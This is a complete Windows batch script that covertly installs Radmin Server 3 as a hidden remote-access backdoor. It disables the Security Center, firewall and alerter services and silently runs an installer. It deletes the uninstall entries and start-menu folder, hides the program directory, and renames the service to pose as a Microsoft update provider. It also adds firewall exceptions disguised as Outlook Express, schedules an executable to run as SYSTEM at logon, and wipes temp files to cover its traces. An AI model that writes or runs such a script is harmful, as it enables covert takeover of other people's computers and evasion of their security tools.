@echo off
net stop Alerter
sc config Alerter start= disabled
net stop wscsvc
sc config wscsvc start= disabled
net stop 
sc config SharedAccess start= disabled


%TEMP%\msupdate.msi /qn /norestart

@ ping -n 10 127.0.0.1

rmdir "%USERPROFILE%\Главное меню\Программы\Radmin Server 3" /Q /S
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{3A8C4C87-D460-488A-A0AA-8993F6D355B1}" /f
reg delete "HKCU\Software\Microsoft\Installer\Features\78C4C8A3064DA8840AAA98396F3D551B" /f
reg delete "HKCU\Software\Microsoft\Installer\Products\78C4C8A3064DA8840AAA98396F3D551B" /f

attrib +S +H %windir%\system32\rserver30

net stop rserver3
reg add "HKLM\System\CurrentControlSet\Services\RServer3" /v "DisplayName" /d "Microsoft Update Provide" /f
reg add "HKLM\System\CurrentControlSet\Services\RServer3" /v "Description" /d "Update your Windows operation system and check corruption files" /f
net start rserver3

netsh advfirewall firewall add rule name="RealIP" dir=in program="%SYSTEMROOT%\realip.exe" security=notrequired action=allow
netsh advfirewall firewall add rule name="Microsoft Outlook Express" dir=in program="%SYSTEMROOT%\blat.exe" security=notrequired action=allow
schtasks /create /tn security /sc onlogon /ru "NT AUTHORITY\SYSTEM" /tr %SYSTEMROOT%/ip.exe

at 15:00 cmd /c del %Temp%\*.* /Q /S /F